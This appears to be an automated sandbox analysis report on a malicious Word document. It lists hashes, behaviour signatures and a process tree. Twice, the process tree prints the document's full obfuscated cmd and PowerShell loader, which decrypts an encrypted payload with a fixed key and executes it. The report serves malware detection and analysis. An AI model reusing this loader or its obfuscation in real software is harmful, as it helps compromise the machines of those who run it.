Analysis
-
max time kernel
101s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
20/09/2024, 04:33
General
-
Target
ecd92cad50a5ba75e2bcb6a1c600cb2c_JaffaCakes118.doc
-
Size
167KB
-
MD5
ecd92cad50a5ba75e2bcb6a1c600cb2c
-
SHA1
4952c5e01a73f3b8510cdb8eb414a3d49da710f9
-
SHA256
eec88dd278b058c921e1bf1ae65d230760911755273b0078df377289c67ee94e
-
SHA512
031d271a6509d9dfe72d165cb7fc26fe961b7083416847ed5fd5954e586de9f1241123660b157ab28ee3c8d56a22527377c76eae773ce6defec33b98711c03cf
-
SSDEEP
3072:RdgaE5eDjYzq8y/YA6FBspfrnxaExZwzDh7yfBpbX:Rd9DjSq5/YA6FudrnxdaDh7oBt
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 4 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ecd92cad50a5ba75e2bcb6a1c600cb2c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" TFuABublQdlTcj KjWjsbnwbMIvLHfqpUYkOZjTC OZvrpLCnUEqo & %C^om^S^pEc% %C^om^S^pEc% /V /c set %sDAMMYfwBufMBED%=aEKUawFiDKDW&&set %hlmjAoWI%=p&&set %QzHmaBwprAQE%=ow&&set %dhEkJWKZCliWRdj%=iioufFnfNLw&&set %HADhrunkJPDQP%=!%hlmjAoWI%!&&set %vzVICVJVUquCiti%=paoCwNiAVVJq&&set %MkPSQzbKjSPWSM%=er&&set %YUinMzPUtTpl%=!%QzHmaBwprAQE%!&&set %TwsPBQVqb%=s&&set %XtYXwZOchcbBHIO%=jfJABWwFYIAh&&set %GkYuRjrBkYBT%=he&&set %YWhajhsPHphV%=ll&&!%HADhrunkJPDQP%!!%YUinMzPUtTpl%!!%MkPSQzbKjSPWSM%!!%TwsPBQVqb%!!%GkYuRjrBkYBT%!!%YWhajhsPHphV%! " .( ([StRIng]$veRboSEpREFEREncE)[1,3]+'x'-Join'')(( NeW-OBjECt MaNAGeMent.AutomatION.pSCREDentIaL ' ',( '76492d1116743f0423413b16050a5345MgB8AFIANgBRAGkATQBuAFMANAA1AFMARABXAE8ANwBLADcAagAxAEkAWQBLAHcAPQA9AHwAYQBmADQAOAA2AGUAYQBmAGQAYwA2AGMANgAyADcAZAA4ADAANAA2ADUANQA3ADYAYwA0ADcAYwA0ADcAYwBhAGMAZgAyADcAMgAzADgAOQAzAGQAZQAwADMAMABkADkAYQBkADgAMABmAGQANQAwADcAMABiADgANQAzAGQAZQAxAGYAMAA2ADIAMwAwAGQANwA3AGMANQA3AGUAMABjAGYAMQAzADQAYgA3ADQAYQA3ADEAZABjAGMAMwA1ADAAYQA1ADMAZQA1AGQAMwBjADkAZAAxADkAYwAxADEAYQA5ADkANgA1ADkAZQA4AGIANgA3ADMANAA3AGEANgBkADMAYQA1AGEAMgBhADEAMgBjADEANQA0AGIANgA4ADcAOABhADIAYQA3AGMAYwBjAGEAZQBmADcAOAA5ADcANgBmAGQAOQBjADUAZgBiADMANwA3ADkAYgAxADgAMQBmAGQANwAyADAAZQA1AGMAOQBmAGMAZgA2ADUAMQBkAGEAZABjAGEAOQBhADUANgBkADUAMQBlAGQAYgAxADkAYgAzADYAZgA5AGQAZABiADcAOQA4AGIAOABiADAANwA4ADAAOQAxADMAMQAzADUAOQA0AGYAZAAxAGQAMQA1AGUAYwBiADUAMABhADAAMAA0AGYAYwA1ADgAZAAxAGUAMAA4ADMANwAxADIAZAA4AGIAYgA1ADkAZgBiADEAZgAzAGMAZQA3ADkAOAA3ADgAOQBjADkANQA2AGQAMwA4ADUAZQAzAGIAMAA5ADMANwA4ADIAMwBiAGUAZgAxADcANQAwAGIANQA2AGEAZgAyADYAMgBjADcANwAyAGEANABiADAAZQAyAGYAZgA0AGYAZgBhAGIAMABkADgANwBmADgAYQBiAGYANwA5ADcAMwA4ADQAYgBmADAANgBhAGQANwA5ADYAYgA2AGYAYgBkAGYAOQBkAGYAYwA0ADcANAAyADUAMwAzADkAMAAzADYANgAzAGYAOQA4ADkANQAxAGQAYgBiAGQAZAAyADkANAAzADYAZgBkAGQAMgBhADQAOAAyADEAYgBjADQAMgBkADgAZgA0ADAANQAxAGMAMgAzADEAMgBmADcAZAA2AGIAZQA0ADAAYQAwADYAOAAyAGEAZgAyAGUANQBhAGUAMwBmADQAMABjADEAZQBjADcAMAA0AGMAMAA5ADUAYgBhAGUAYQAzAGYANwA0ADIAMgBhAGQANQA4ADcAMAA3AGUAZAAxADgANwAzADEANAA4ADIAMQAyAGYAMwA3ADMAZgAwADMAMQAzAGMAMAAwADQAZAA3ADEAMAA5ADIAYQBiADUAOQA4ADAANwAwADkAOABhADgANQA2AGQAYwA3ADkANwBiADIAOQBjADUANABkAGQAYQBjAGQAYgBhADAAYgA5ADcANQA3AGEAOAAxADAAMAA5ADAAZQAxADMANgBjADQAMQBiADcAMQA1ADUAYQBlAGQAMQA5AGMAZAAyADgAMgBlAGEAZABhADgAZgA2ADgAZAA4ADkAYQBhADEANAAxADEANgBjADIANQA4ADMAOQA2AGMAMwAwADEAYwAxAGQAMgA4ADIAMgAyADIAMgA2AGEANAAzADgAMQA4AGEAMAAzAGQAMQA2ADIAOABkADIANwA2AGIAZAAyADIAYQA5AGIAOQA5AGIAZQA3ADUAZgAxADkAYgA1ADUAMwA3AGMANwBlADgAYQA0ADMANAA0AGQANwA0ADcAMQA0AGQAZQA4ADEAZAAxAGQANwBkADcAOAA2AGMANQBmADMAMwAxADgAYgA3ADMANgBjADEANgAyADUANwA3ADIAZQBmAGUAOQAyADAAYwA0ADIAZAA5ADEAZABiAGQAZQBmAGIAYgAyAGIAMQBmAGIAYwBmAGMANQAwAGQAYgBkAGQANwBjADUANgBjAGEAZAAwADYAMAAxADQAZgBkADkAYwBlADQAMwA3AGIAMABmADgAYQBmADQAZAA0AGMANwA1ADEAMQBkAGYAYgAxAGQANABkAGIANwAzAGUAZgBmADYAMwA2ADgAMQAzAGYANgBkADkAOQBkADcAMABiAGEAZAA5AGMANwA1ADQAMAA2ADUAOAAyAGIAOAA0ADgANgA2AGUAYQA3AGIAOQAwADMAOQA4ADAANQA2AGEANwBjADAAYwBjADYAMwBiAGEAZgA0ADcANAA1ADkAMgBjAGEAOAA3AGUAMwBmAGMAYwA1AGMAYQBjADkAYQBiADMANABjADIAZABiAGUAZABhAGMAOABkADgANQBjADAANQBkAGYANQAwADMAYwA4AGEAYwAwAGEAOQBjADcAYwA3ADQAOQAyADAAMgA1ADIAMQA4ADIAOQBiADUAOAAxADcAZgBiADAAOABhADUAMQBmADgAZABmADYAYwAzADgANQBjADcAMwAyADcAYwAyADcANAA3AGMAZQAyADgAMwA3ADgAMQAyAGQAYQA4AGQANwBlADcAMwBlADEAMwBjADAAMABiADQAMAAxADkAYQAzADEAMQAyAGMAMgAwAGQAOQBmADgAMAA5AGUANABiADUAYgA1ADgAYQA5AGUAMgA4ADMAYQBiADYAMgAwAGQANAA1AGQAMwBhAGEANQBlADQAYgBhADEAZAA1AGQAMQA1AGQAOQBiADQAZQAwADMAMgA4AGUAYgA0AGMAYwAxADIAYwBjAGEAZQA3AGEANgA1ADIANQBkAGQAOQA4AGYAOAAyADUANwA0ADUANgBlADkAYwBkADcAOQAyADQAOAAxADMANAA4ADkAZQA4ADYANgBlADgANQAwADYANAAxADAAZAA2AGYAOAA2AGEAMwAxADQAZABkAGQANQA4ADIAZgA2ADIAZQAwADYAZgBmADEAMwAwAGIAYQAwADUAYQA5AGIANQA5AGMANAAwADYANwBiAGEAYgA2ADMAZgA1ADUAZAA0ADcANwBiAGMAMQA5AGUANQA5AGEAMgA5AGYAOQBiAGIANwA4ADIAMwBmADUAMgAyAGUAYwAyADQANQA4ADEAZgA5ADcAYgA0AGEAMwBiADAANQBmADYAMgBiADgANQAyADkAMAA0ADEAZABlADEAYwBlAGEAMwAzADMAMgA4ADcAMgBiAGEAOABhADcAYQBmADAAMwBiAGQANAAyAGUAMgA3ADUANAA2AGQAZgA5AGUAMgAzADEAOQBiADcAZQBjADMAYwAyAGEANAAwAGEANgBkADQANAAxADMAOQBmADcANgAxADUAMwBjADYAMgA5ADUAYQA5AGEAOQA5AGMANQAzAGEAYwAyADcANgBjADMAZgA4ADcAZAAwADkANQAyADQAZQA2ADAAYwBjAGMAYgBjADkANABhADQAYwA1ADkAYwAyADIAYQBiAGQAOQAwADUAMgBjADMAYwBjADAAOQA2ADcAYgBlADAAMgAyAGMAMABjAGMANwBjAGMAMABlADAAMABkADAAYQBhADYANABlADIANgAzAGIAOAAwADQAMAAzADkANQAwADIANgBkADMAZgBlADQAOQBjAGUANQAwAGUAMwBiADgAYgA0ADUAYQAxADYAYwAyADYANQBkAGMAYgAxAGIAOQBlADEAOAA0AGYAZAA1AGEAMQBiADMAMAAyAGYANAA0ADIAYQA1ADkAMAA3ADUAZABmAGEANwAxADYAMgA0ADQANQAyADkAYQA0ADgAMgA4ADYANgAzAGIAMgA2ADQAYwA4ADYAYQAwADUAMAAxADEANwA4ADUAMAA5AGMAMgBkADYANwAzAGIAZABiAGUAMwBmAGQAYgAxADkAOQBiADgAMgAwADIAYgAyAGIAMgAxAGMAYQBjAGQAMQBkADYAYwA5ADEANQA1AGMAMQA4AGEANAAxAGUAZABjAGYAZAA0AGUAOAA0AGQANQA5AGEANgA3AGQAOQBlAGYAYwA0AGMAMwA5AGQAMgBmADcANwBmADQAZAAyADAAMgAxAGIANAA4AGMAMAAzADgAYgBhADEAZgAxADgAMQBiADIANQAzAGIAMABhAGMAMgA3ADUAOABjAGUAYQA5AGMANQA5ADYAMgAyAGYANwA5ADkAYwBhADMAOQBhADkAYwBlAGUAYgAxADQANABjADgAYwA5AGYAOABkAGEAYgAwAGQAZQBjADcAYgBiADAAMQBmAGMAOQA4AGMAZAAwADIAMQAxADgANABlADcANQAzADUAZgBmADAANwBhAGMAOQAyADkAMgAxADYAOQAyAGMANwA2AGMANQBiADgAOAAzAGEAMgA0ADAAMgBlADIANgA2ADMAOQBjADgAMAAxADAANABjADQAZAA2AGYANAAwAGEAZABmADkAYQAxADYANAA5ADEAOQBjADMAYgA1AGQAOQBjADQAMwAxADUAZQBlADQAMAAzAGEAYQBmADIAZQA1AGYAOQA4AGUAZAA5ADEAOQAzADIANwBkAGEAMgBlAGUAMwBlADYAOQAxADMAMwAzADgAZgBhADcANwAwAGUAZABjADMAMAAwAGEAMABlADIAMABlAGIAYgA5ADIANgBmADgAZABjADQAZgA1AGQAMgAwAGQANgA4ADgANQBlAGUAZgBmADUAZABkAGUANwA2ADEAMwA5AGQANABiADIANQAyADEANQA0AGQANQA0AGQAZABlADcAYgAyAGIAZQA2AGYAYgAzADYAMgA0ADAANgA2ADIANAAyADUANAAyAGYAYQA1ADcAZAAzADQAZgA3AGEAZQAyADYAYgA5ADkAMgBjADcAYQBiADUAOQA0ADcAZAA1ADAAMwA0ADcAMAA4ADUANgA3ADEAMQBkADYAYQAzADMAOQBkAGMAMwA5ADQAOAA5AGUAMAA4ADQAMwAxAGUAMgAwADAANQA4AGIAOABiADQAOAA2AGYAZQBmADYAYwA3ADkAZgA0ADUANQAzAGIAMgBjAGQAMQBjAGYAZQBhADgAMABhAGYAMAA1AGYAYgBiADYAYQA0ADIAMgA4ADMAMwBjAGYAZQBmADQAYwBmADMAMQBhADcAMwBlAGYAMQA1ADcANgBhADkAZQBjAGIAMgA5AGYAYwA4ADYANABhAGMAMgA5ADAAYwA3AGUAMAA1ADYAYwA1AGUAMwA2ADcAYwAwADIAYQBjAGEAYwBjADcAZgAxADcAMQBjAGIAMgAwADQAZQBlADIAYgBlADAANABiADMAZQBiAGQAMQBkAGIAYwAwADEAYQBjAGIAOQAwADAAOQBkAGIAYQA1ADQANwA3ADgANQAzADgANgA1ADAAZgA4ADUAMgA3AGMANQAzAGQAYwA2AGQAYQA1AGYAZQBhADYAMwA3ADcAMAAxADkAMQAxAGUANABjADIAZQBmAGQAZAAxAGYAYQA4AGMANABmADUAMAAyADMAZgA2ADMAYQA1ADgAZgA4AA=='|cOnvERTTO-SecUREstrinG -KEy (43..58))).gETNETWOrkcreDeNTIal().PasswoRD)2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell " .( ([StRIng]$veRboSEpREFEREncE)[1,3]+'x'-Join'')(( NeW-OBjECt MaNAGeMent.AutomatION.pSCREDentIaL ' ',( '76492d1116743f0423413b16050a5345MgB8AFIANgBRAGkATQBuAFMANAA1AFMARABXAE8ANwBLADcAagAxAEkAWQBLAHcAPQA9AHwAYQBmADQAOAA2AGUAYQBmAGQAYwA2AGMANgAyADcAZAA4ADAANAA2ADUANQA3ADYAYwA0ADcAYwA0ADcAYwBhAGMAZgAyADcAMgAzADgAOQAzAGQAZQAwADMAMABkADkAYQBkADgAMABmAGQANQAwADcAMABiADgANQAzAGQAZQAxAGYAMAA2ADIAMwAwAGQANwA3AGMANQA3AGUAMABjAGYAMQAzADQAYgA3ADQAYQA3ADEAZABjAGMAMwA1ADAAYQA1ADMAZQA1AGQAMwBjADkAZAAxADkAYwAxADEAYQA5ADkANgA1ADkAZQA4AGIANgA3ADMANAA3AGEANgBkADMAYQA1AGEAMgBhADEAMgBjADEANQA0AGIANgA4ADcAOABhADIAYQA3AGMAYwBjAGEAZQBmADcAOAA5ADcANgBmAGQAOQBjADUAZgBiADMANwA3ADkAYgAxADgAMQBmAGQANwAyADAAZQA1AGMAOQBmAGMAZgA2ADUAMQBkAGEAZABjAGEAOQBhADUANgBkADUAMQBlAGQAYgAxADkAYgAzADYAZgA5AGQAZABiADcAOQA4AGIAOABiADAANwA4ADAAOQAxADMAMQAzADUAOQA0AGYAZAAxAGQAMQA1AGUAYwBiADUAMABhADAAMAA0AGYAYwA1ADgAZAAxAGUAMAA4ADMANwAxADIAZAA4AGIAYgA1ADkAZgBiADEAZgAzAGMAZQA3ADkAOAA3ADgAOQBjADkANQA2AGQAMwA4ADUAZQAzAGIAMAA5ADMANwA4ADIAMwBiAGUAZgAxADcANQAwAGIANQA2AGEAZgAyADYAMgBjADcANwAyAGEANABiADAAZQAyAGYAZgA0AGYAZgBhAGIAMABkADgANwBmADgAYQBiAGYANwA5ADcAMwA4ADQAYgBmADAANgBhAGQANwA5ADYAYgA2AGYAYgBkAGYAOQBkAGYAYwA0ADcANAAyADUAMwAzADkAMAAzADYANgAzAGYAOQA4ADkANQAxAGQAYgBiAGQAZAAyADkANAAzADYAZgBkAGQAMgBhADQAOAAyADEAYgBjADQAMgBkADgAZgA0ADAANQAxAGMAMgAzADEAMgBmADcAZAA2AGIAZQA0ADAAYQAwADYAOAAyAGEAZgAyAGUANQBhAGUAMwBmADQAMABjADEAZQBjADcAMAA0AGMAMAA5ADUAYgBhAGUAYQAzAGYANwA0ADIAMgBhAGQANQA4ADcAMAA3AGUAZAAxADgANwAzADEANAA4ADIAMQAyAGYAMwA3ADMAZgAwADMAMQAzAGMAMAAwADQAZAA3ADEAMAA5ADIAYQBiADUAOQA4ADAANwAwADkAOABhADgANQA2AGQAYwA3ADkANwBiADIAOQBjADUANABkAGQAYQBjAGQAYgBhADAAYgA5ADcANQA3AGEAOAAxADAAMAA5ADAAZQAxADMANgBjADQAMQBiADcAMQA1ADUAYQBlAGQAMQA5AGMAZAAyADgAMgBlAGEAZABhADgAZgA2ADgAZAA4ADkAYQBhADEANAAxADEANgBjADIANQA4ADMAOQA2AGMAMwAwADEAYwAxAGQAMgA4ADIAMgAyADIAMgA2AGEANAAzADgAMQA4AGEAMAAzAGQAMQA2ADIAOABkADIANwA2AGIAZAAyADIAYQA5AGIAOQA5AGIAZQA3ADUAZgAxADkAYgA1ADUAMwA3AGMANwBlADgAYQA0ADMANAA0AGQANwA0ADcAMQA0AGQAZQA4ADEAZAAxAGQANwBkADcAOAA2AGMANQBmADMAMwAxADgAYgA3ADMANgBjADEANgAyADUANwA3ADIAZQBmAGUAOQAyADAAYwA0ADIAZAA5ADEAZABiAGQAZQBmAGIAYgAyAGIAMQBmAGIAYwBmAGMANQAwAGQAYgBkAGQANwBjADUANgBjAGEAZAAwADYAMAAxADQAZgBkADkAYwBlADQAMwA3AGIAMABmADgAYQBmADQAZAA0AGMANwA1ADEAMQBkAGYAYgAxAGQANABkAGIANwAzAGUAZgBmADYAMwA2ADgAMQAzAGYANgBkADkAOQBkADcAMABiAGEAZAA5AGMANwA1ADQAMAA2ADUAOAAyAGIAOAA0ADgANgA2AGUAYQA3AGIAOQAwADMAOQA4ADAANQA2AGEANwBjADAAYwBjADYAMwBiAGEAZgA0ADcANAA1ADkAMgBjAGEAOAA3AGUAMwBmAGMAYwA1AGMAYQBjADkAYQBiADMANABjADIAZABiAGUAZABhAGMAOABkADgANQBjADAANQBkAGYANQAwADMAYwA4AGEAYwAwAGEAOQBjADcAYwA3ADQAOQAyADAAMgA1ADIAMQA4ADIAOQBiADUAOAAxADcAZgBiADAAOABhADUAMQBmADgAZABmADYAYwAzADgANQBjADcAMwAyADcAYwAyADcANAA3AGMAZQAyADgAMwA3ADgAMQAyAGQAYQA4AGQANwBlADcAMwBlADEAMwBjADAAMABiADQAMAAxADkAYQAzADEAMQAyAGMAMgAwAGQAOQBmADgAMAA5AGUANABiADUAYgA1ADgAYQA5AGUAMgA4ADMAYQBiADYAMgAwAGQANAA1AGQAMwBhAGEANQBlADQAYgBhADEAZAA1AGQAMQA1AGQAOQBiADQAZQAwADMAMgA4AGUAYgA0AGMAYwAxADIAYwBjAGEAZQA3AGEANgA1ADIANQBkAGQAOQA4AGYAOAAyADUANwA0ADUANgBlADkAYwBkADcAOQAyADQAOAAxADMANAA4ADkAZQA4ADYANgBlADgANQAwADYANAAxADAAZAA2AGYAOAA2AGEAMwAxADQAZABkAGQANQA4ADIAZgA2ADIAZQAwADYAZgBmADEAMwAwAGIAYQAwADUAYQA5AGIANQA5AGMANAAwADYANwBiAGEAYgA2ADMAZgA1ADUAZAA0ADcANwBiAGMAMQA5AGUANQA5AGEAMgA5AGYAOQBiAGIANwA4ADIAMwBmADUAMgAyAGUAYwAyADQANQA4ADEAZgA5ADcAYgA0AGEAMwBiADAANQBmADYAMgBiADgANQAyADkAMAA0ADEAZABlADEAYwBlAGEAMwAzADMAMgA4ADcAMgBiAGEAOABhADcAYQBmADAAMwBiAGQANAAyAGUAMgA3ADUANAA2AGQAZgA5AGUAMgAzADEAOQBiADcAZQBjADMAYwAyAGEANAAwAGEANgBkADQANAAxADMAOQBmADcANgAxADUAMwBjADYAMgA5ADUAYQA5AGEAOQA5AGMANQAzAGEAYwAyADcANgBjADMAZgA4ADcAZAAwADkANQAyADQAZQA2ADAAYwBjAGMAYgBjADkANABhADQAYwA1ADkAYwAyADIAYQBiAGQAOQAwADUAMgBjADMAYwBjADAAOQA2ADcAYgBlADAAMgAyAGMAMABjAGMANwBjAGMAMABlADAAMABkADAAYQBhADYANABlADIANgAzAGIAOAAwADQAMAAzADkANQAwADIANgBkADMAZgBlADQAOQBjAGUANQAwAGUAMwBiADgAYgA0ADUAYQAxADYAYwAyADYANQBkAGMAYgAxAGIAOQBlADEAOAA0AGYAZAA1AGEAMQBiADMAMAAyAGYANAA0ADIAYQA1ADkAMAA3ADUAZABmAGEANwAxADYAMgA0ADQANQAyADkAYQA0ADgAMgA4ADYANgAzAGIAMgA2ADQAYwA4ADYAYQAwADUAMAAxADEANwA4ADUAMAA5AGMAMgBkADYANwAzAGIAZABiAGUAMwBmAGQAYgAxADkAOQBiADgAMgAwADIAYgAyAGIAMgAxAGMAYQBjAGQAMQBkADYAYwA5ADEANQA1AGMAMQA4AGEANAAxAGUAZABjAGYAZAA0AGUAOAA0AGQANQA5AGEANgA3AGQAOQBlAGYAYwA0AGMAMwA5AGQAMgBmADcANwBmADQAZAAyADAAMgAxAGIANAA4AGMAMAAzADgAYgBhADEAZgAxADgAMQBiADIANQAzAGIAMABhAGMAMgA3ADUAOABjAGUAYQA5AGMANQA5ADYAMgAyAGYANwA5ADkAYwBhADMAOQBhADkAYwBlAGUAYgAxADQANABjADgAYwA5AGYAOABkAGEAYgAwAGQAZQBjADcAYgBiADAAMQBmAGMAOQA4AGMAZAAwADIAMQAxADgANABlADcANQAzADUAZgBmADAANwBhAGMAOQAyADkAMgAxADYAOQAyAGMANwA2AGMANQBiADgAOAAzAGEAMgA0ADAAMgBlADIANgA2ADMAOQBjADgAMAAxADAANABjADQAZAA2AGYANAAwAGEAZABmADkAYQAxADYANAA5ADEAOQBjADMAYgA1AGQAOQBjADQAMwAxADUAZQBlADQAMAAzAGEAYQBmADIAZQA1AGYAOQA4AGUAZAA5ADEAOQAzADIANwBkAGEAMgBlAGUAMwBlADYAOQAxADMAMwAzADgAZgBhADcANwAwAGUAZABjADMAMAAwAGEAMABlADIAMABlAGIAYgA5ADIANgBmADgAZABjADQAZgA1AGQAMgAwAGQANgA4ADgANQBlAGUAZgBmADUAZABkAGUANwA2ADEAMwA5AGQANABiADIANQAyADEANQA0AGQANQA0AGQAZABlADcAYgAyAGIAZQA2AGYAYgAzADYAMgA0ADAANgA2ADIANAAyADUANAAyAGYAYQA1ADcAZAAzADQAZgA3AGEAZQAyADYAYgA5ADkAMgBjADcAYQBiADUAOQA0ADcAZAA1ADAAMwA0ADcAMAA4ADUANgA3ADEAMQBkADYAYQAzADMAOQBkAGMAMwA5ADQAOAA5AGUAMAA4ADQAMwAxAGUAMgAwADAANQA4AGIAOABiADQAOAA2AGYAZQBmADYAYwA3ADkAZgA0ADUANQAzAGIAMgBjAGQAMQBjAGYAZQBhADgAMABhAGYAMAA1AGYAYgBiADYAYQA0ADIAMgA4ADMAMwBjAGYAZQBmADQAYwBmADMAMQBhADcAMwBlAGYAMQA1ADcANgBhADkAZQBjAGIAMgA5AGYAYwA4ADYANABhAGMAMgA5ADAAYwA3AGUAMAA1ADYAYwA1AGUAMwA2ADcAYwAwADIAYQBjAGEAYwBjADcAZgAxADcAMQBjAGIAMgAwADQAZQBlADIAYgBlADAANABiADMAZQBiAGQAMQBkAGIAYwAwADEAYQBjAGIAOQAwADAAOQBkAGIAYQA1ADQANwA3ADgANQAzADgANgA1ADAAZgA4ADUAMgA3AGMANQAzAGQAYwA2AGQAYQA1AGYAZQBhADYAMwA3ADcAMAAxADkAMQAxAGUANABjADIAZQBmAGQAZAAxAGYAYQA4AGMANABmADUAMAAyADMAZgA2ADMAYQA1ADgAZgA4AA=='|cOnvERTTO-SecUREstrinG -KEy (43..58))).gETNETWOrkcreDeNTIal().PasswoRD)3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD52b76a952946a33b4508bf8448b0c3890
SHA1c2a24ab0e568691926d377b0f89db8dd48f33f15
SHA25694242d164613954dd47d3ce621aadd7b5a7cc8e79b667a6cc7e7e4591de6cd80
SHA5127f42bc8592588f6a9f901702f5c9811a2da9d7968e35e15ae16869cff782fabda7c851c0fece8ad7af71f67b5a0a1f169120f70c3fc7d49eedca5464a99a0079
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB